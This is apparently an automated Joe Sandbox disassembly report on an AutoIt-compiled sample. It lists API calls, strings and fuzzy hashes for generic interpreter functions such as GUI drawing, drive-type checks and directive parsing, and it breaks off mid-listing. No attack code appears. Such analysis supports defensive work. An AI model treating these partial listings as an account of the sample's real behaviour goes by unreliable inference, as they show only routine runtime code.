Instruction Fuzzy Hash: D6917D72418301EFCB509F64ED0CA5FBBA9FF88331F504A29F96A961A0D770D984CB52

Function 002674AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 002674DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0026759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 002675DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 002675ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00267633
GetClientRect.USER32(00000000,?), ref: 0026763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00267683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00267692
GetStockObject.GDI32(00000011), ref: 002676A2
SelectObject.GDI32(00000000,00000000), ref: 002676A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 002676B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 002676BF
DeleteDC.GDI32(00000000), ref: 002676C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 002676F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0026770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00267746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0026775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0026776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0026779B
GetStockObject.GDI32(00000011), ref: 002677A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 002677B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 002677BB

Strings

DISPLAY, xrefs: 00267688
msctls_progress32, xrefs: 0026773C
static, xrefs: 0026767D, 00267795
AutoIt v3, xrefs: 0026762B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 427bfe1506c3f4d4e7923ea49253746a7a75d8230648d6d4582040405522107e
Instruction ID: 145eadbd1eb587d408dffd0584d39543ed8043ef76a57e0fbb3b80908555dc49
Opcode Fuzzy Hash: 427bfe1506c3f4d4e7923ea49253746a7a75d8230648d6d4582040405522107e
Instruction Fuzzy Hash: A6A17371A50619BFEB14DFA4ED4AFAE7B79EB04714F004214FA15AB2E0D770AD50CB60

Function 0025AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0025AD1E
GetDriveTypeW.KERNEL32(?,0027FAC0,?,\\.\,0027F910), ref: 0025ADFB
SetErrorMode.KERNEL32(00000000,0027FAC0,?,\\.\,0027F910), ref: 0025AF59

Strings

iSCSI, xrefs: 0025AEFE
Fixed, xrefs: 0025AE43
1394, xrefs: 0025AEDB
CDROM, xrefs: 0025AE2F
ATAPI, xrefs: 0025AECD
FileBackedVirtual, xrefs: 0025AF28
Network, xrefs: 0025AE39
ATA, xrefs: 0025AED4
SSA, xrefs: 0025AEE2
SSD, xrefs: 0025AE86
RAID, xrefs: 0025AEF7
\\.\, xrefs: 0025AD70
MMC, xrefs: 0025AF1A
Virtual, xrefs: 0025AF21
PhysicalDrive, xrefs: 0025ADA7
Fibre, xrefs: 0025AEE9
RAMDisk, xrefs: 0025AE25
USB, xrefs: 0025AEF0
SAS, xrefs: 0025AF05
SATA, xrefs: 0025AF0C
Removable, xrefs: 0025AE4D
Unknown, xrefs: 0025AE1B, 0025AEBF
SCSI, xrefs: 0025AEC6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 7f213a0fa14c47a690905fafb802c768a1d761ea80ac71b929512605e83afc57
Instruction ID: 10ffe68ef1dbdbfd1f0940085b9ba820346ff9c06396be4625715bb9ae5f1de7
Opcode Fuzzy Hash: 7f213a0fa14c47a690905fafb802c768a1d761ea80ac71b929512605e83afc57
Instruction Fuzzy Hash: 4E51A5B06782099B8B00EF10CD43C7973A1EF1A7067204666ED07A7691DF72DD39DBA6

Function 001F68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 001F6931
__wcsnicmp.LIBCMT ref: 001F6949
__wcsnicmp.LIBCMT ref: 001F6961
__wcsnicmp.LIBCMT ref: 001F6979
__wcsnicmp.LIBCMT ref: 001F6991
__wcsnicmp.LIBCMT ref: 001F69A9
__wcsnicmp.LIBCMT ref: 001F69C1
__wcsnicmp.LIBCMT ref: 001F69D5
__wcsnicmp.LIBCMT ref: 001F6A16
__wcsnicmp.LIBCMT ref: 001F6A2A
__wcsnicmp.LIBCMT ref: 001F6A3E
__wcsnicmp.LIBCMT ref: 001F6A52

Strings

Cannot parse #include, xrefs: 0022E3F0
#pragma compile, xrefs: 001F692B
Unterminated group of comments, xrefs: 0022E403
#ce, xrefs: 001F6A4C
#include, xrefs: 001F69A3
#comments-start, xrefs: 001F69BB, 001F6A10
#include-once, xrefs: 001F698B
#OnAutoItStartRegister, xrefs: 001F6973
#notrayicon, xrefs: 001F6943
#requireadmin, xrefs: 001F695B
#cs, xrefs: 001F69CF, 001F6A24
Bad directive syntax error, xrefs: 0022E31A
#comments-end, xrefs: 001F6A38

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 4226285e6efb604df181afc3367b3bde54ac8ae6688dc776c462db1af81f0633
Instruction ID: 75f71132172b6e125e3c39f24e3e232bad09d0c7cae6ad2feb75233d335702a1
Opcode Fuzzy Hash: 4226285e6efb604df181afc3367b3bde54ac8ae6688dc776c462db1af81f0633
Instruction Fuzzy Hash: 5381087061021EBADF14EE60EC42FBE77A9EF25704F044024FA056B1D6EBB0DD65D661

Function 00279A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00279AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00279B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00279BA7

Strings

0, xrefs: 00279BE4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 282452e0f81328545c93e6bfec3ae38237ec519fe41bcf107c4dcfd321025d0d
Instruction ID: 50b93a2e489d951be98b9592325c359cc3e2677e523ff15cd8ea04968e9487b9
Opcode Fuzzy Hash: 282452e0f81328545c93e6bfec3ae38237ec519fe41bcf107c4dcfd321025d0d
Instruction Fuzzy Hash: E202E170128302AFDB25CF14C949BAABBE5FF4A314F04852DF99DD62A1C774D8A4CB52

Function 0027A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0027A903
SetTextColor.GDI32(?,?), ref: 0027A907
GetSysColorBrush.USER32(0000000F), ref: 0027A91D
GetSysColor.USER32(0000000F), ref: 0027A928
CreateSolidBrush.GDI32(?), ref: 0027A92D
GetSysColor.USER32(00000011), ref: 0027A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0027A953
SelectObject.GDI32(?,00000000), ref: 0027A964
SetBkColor.GDI32(?,00000000), ref: 0027A96D
SelectObject.GDI32(?,?), ref: 0027A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0027A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0027A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0027A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0027A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0027AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0027AA32
DrawFocusRect.USER32(?,?), ref: 0027AA3D
GetSysColor.USER32(00000011), ref: 0027AA4B
SetTextColor.GDI32(?,00000000), ref: 0027AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0027AA67
SelectObject.GDI32(?,0027A5FA), ref: 0027AA7E
DeleteObject.GDI32(?), ref: 0027AA89
SelectObject.GDI32(?,?), ref: 0027AA8F
DeleteObject.GDI32(?), ref: 0027AA94
SetTextColor.GDI32(?,?), ref: 0027AA9A
SetBkColor.GDI32(?,?), ref: 0027AAA4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 2504e2950e1632abe884e8389f83cd36dfd7d5370b8edc0bcf5ff2a32b1e1c21
Instruction ID: 900656e108a39b19f5c0a37267534dfdfdf03029e47185f763028b621c01ae0a
Opcode Fuzzy Hash: 2504e2950e1632abe884e8389f83cd36dfd7d5370b8edc0bcf5ff2a32b1e1c21
Instruction Fuzzy Hash: C9513E71904209FFDB109FA4ED48EAE7BB9FF48320F118125FA19AB2A1D7719990DF50

Function 002789D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00278AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00278AD2
CharNextW.USER32(0000014E), ref: 00278B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00278B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00278B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00278B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00278B86
SetWindowTextW.USER32(?,0000014E), ref: 00278BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00278BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00278C1F
_memset.LIBCMT ref: 00278C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00278C8D
_memset.LIBCMT ref: 00278CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00278D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00278D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00278E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00278E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00278E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00278EB4
DrawMenuBar.USER32(?), ref: 00278EC3
SetWindowTextW.USER32(?,0000014E), ref: 00278EEB

Strings

0, xrefs: 00278E55

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 9b6565d30248063d350155900f11e4614529cc9a860cb82dacce26a3cc18f051
Instruction ID: 95af93930f47a76878940760856e86302815a78b1a32e956f0a5f4153a1e710c
Opcode Fuzzy Hash: 9b6565d30248063d350155900f11e4614529cc9a860cb82dacce26a3cc18f051
Instruction Fuzzy Hash: 02E1B270954219AFDF21DF50DC89EEE7BB9FF09710F108156F919AA190DB7089A0DF60

Function 0027488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 002749CA
GetDesktopWindow.USER32 ref: 002749DF
GetWindowRect.USER32(00000000), ref: 002749E6
GetWindowLongW.USER32(?,000000F0), ref: 00274A48
DestroyWindow.USER32(?), ref: 00274A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00274A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00274ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00274AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00274AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00274B09
IsWindowVisible.USER32(?), ref: 00274B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00274B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00274B58
GetWindowRect.USER32(?,?), ref: 00274B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00274B96
GetMonitorInfoW.USER32(00000000,?), ref: 00274BB0
CopyRect.USER32(?,?), ref: 00274BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00274C32

Strings

tooltips_class32, xrefs: 00274A96
0, xrefs: 00274975
(, xrefs: 00274BA3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: f245dcddcb639e1ada0cfb60ecb034c7999d45e5caed7e08279da0f5c785be7b
Instruction ID: dda5354b8d667dfb412c462a2f0ef370028e83f93490b0e1ed22b56ddf94603f
Opcode Fuzzy Hash: f245dcddcb639e1ada0cfb60ecb034c7999d45e5caed7e08279da0f5c785be7b
Instruction Fuzzy Hash: 2DB19A70618341AFDB04EF64D949B6ABBE4BF88304F008A1CF9999B2A1D770EC15CB95

Function 0025449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 002544AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 002544D2
_wcscpy.LIBCMT ref: 00254500
_wcscmp.LIBCMT ref: 0025450B
_wcscat.LIBCMT ref: 00254521
_wcsstr.LIBCMT ref: 0025452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00254548
_wcscat.LIBCMT ref: 00254591
_wcscat.LIBCMT ref: 00254598
_wcsncpy.LIBCMT ref: 002545C3

Strings

StringFileInfo\, xrefs: 0025451B
\VarFileInfo\Translation, xrefs: 00254540
04090000, xrefs: 0025457E
DefaultLangCodepage, xrefs: 002545AB
%u.%u.%u.%u, xrefs: 00254626

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 9e39ee602fab50fa6665a53116840b5c1c865df4f9d15afd746e9c1bf1447873
Instruction ID: 8c590e3e2a3e45404a72499741f90acbac8da005715d6bffdb7cf17be8f6fdd4
Opcode Fuzzy Hash: 9e39ee602fab50fa6665a53116840b5c1c865df4f9d15afd746e9c1bf1447873
Instruction Fuzzy Hash: 9C411931924205BBDB14FA74DC47EFFB7ECDF56710F000066F904A6182FA749AB58AA9

Function 001F27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 001F28BC
GetSystemMetrics.USER32(00000007), ref: 001F28C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 001F28EF
GetSystemMetrics.USER32(00000008), ref: 001F28F7
GetSystemMetrics.USER32(00000004), ref: 001F291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 001F2939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 001F2949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 001F297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 001F2990
GetClientRect.USER32(00000000,000000FF), ref: 001F29AE
GetStockObject.GDI32(00000011), ref: 001F29CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 001F29D5

Part of subcall function 001F2344: GetCursorPos.USER32(?), ref: 001F2357
Part of subcall function 001F2344: ScreenToClient.USER32(002B57B0,?), ref: 001F2374
Part of subcall function 001F2344: GetAsyncKeyState.USER32(00000001), ref: 001F2399
Part of subcall function 001F2344: GetAsyncKeyState.USER32(00000002), ref: 001F23A7

SetTimer.USER32(00000000,00000000,00000028,001F1256), ref: 001F29FC

Strings

AutoIt v3 GUI, xrefs: 001F2974

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: dc70674fe617bc2fa2d675b1a41eacc5e27d5dd7b4a12ec5e6ba7eb7213cba61
Instruction ID: 286707d81ecfc7d418d4532b16632919447b2577dac6273692c7ba98c75183e7
Opcode Fuzzy Hash: dc70674fe617bc2fa2d675b1a41eacc5e27d5dd7b4a12ec5e6ba7eb7213cba61
Instruction Fuzzy Hash: D4B1617161021AEFDB14DFA8ED59BAD7BB5FB48310F104229FA19E72E0DB749890CB50

Function 0024A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0024A47A
__swprintf.LIBCMT ref: 0024A51B
_wcscmp.LIBCMT ref: 0024A52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0024A583
_wcscmp.LIBCMT ref: 0024A5BF
GetClassNameW.USER32(?,?,00000400), ref: 0024A5F6
GetDlgCtrlID.USER32(?), ref: 0024A648
GetWindowRect.USER32(?,?), ref: 0024A67E
GetParent.USER32(?), ref: 0024A69C
ScreenToClient.USER32(00000000), ref: 0024A6A3
GetClassNameW.USER32(?,?,00000100), ref: 0024A71D
_wcscmp.LIBCMT ref: 0024A731
GetWindowTextW.USER32(?,?,00000400), ref: 0024A757
_wcscmp.LIBCMT ref: 0024A76B

Part of subcall function 0021362C: _iswctype.LIBCMT ref: 00213634

Strings

%s%u, xrefs: 0024A515

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 137b80202b5f8284c192c0acfef12f69f7b9cebd1d1d548fd942e698e211062c
Instruction ID: bedf927ec123d2141b9a2e2e92f1a72a2149b42031996166b73e042a6f98ec91
Opcode Fuzzy Hash: 137b80202b5f8284c192c0acfef12f69f7b9cebd1d1d548fd942e698e211062c
Instruction Fuzzy Hash: 18A1BF71264607AFDB18DF64C884BAEF7E8FF44314F008529F99AD2190DB30E965CB92

Function 0024AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0024AF18
_wcscmp.LIBCMT ref: 0024AF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 0024AF51
CharUpperBuffW.USER32(?,00000000), ref: 0024AF6E
_wcscmp.LIBCMT ref: 0024AF8C
_wcsstr.LIBCMT ref: 0024AF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 0024AFD5
_wcscmp.LIBCMT ref: 0024AFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 0024B00C
GetClassNameW.USER32(00000018,?,00000400), ref: 0024B055
_wcscmp.LIBCMT ref: 0024B065
GetClassNameW.USER32(00000010,?,00000400), ref: 0024B08D
GetWindowRect.USER32(00000004,?), ref: 0024B0F6

Strings

ThumbnailClass, xrefs: 0024AFE0, 0024B060
@, xrefs: 0024AEF9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: d3383d0ef9cfcd5d76af3449ff9011612762511aea6c19005d3ae0a397379ffe
Instruction ID: 67897d9e3f4a44ce0e3d93dcf354b9338bf46d4305baac4e47cf36ba6e941b6a
Opcode Fuzzy Hash: d3383d0ef9cfcd5d76af3449ff9011612762511aea6c19005d3ae0a397379ffe
Instruction Fuzzy Hash: 6B81C1711283069FDB09DF10C885FAA7BE8FF54314F04846AFD899A092DB30DDA9CB61

Function 0027C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

DragQueryPoint.SHELL32(?,?), ref: 0027C627

Part of subcall function 0027AB37: ClientToScreen.USER32(?,?), ref: 0027AB60
Part of subcall function 0027AB37: GetWindowRect.USER32(?,?), ref: 0027ABD6
Part of subcall function 0027AB37: PtInRect.USER32(?,?,0027C014), ref: 0027ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 0027C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0027C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0027C6BE
_wcscat.LIBCMT ref: 0027C6EE
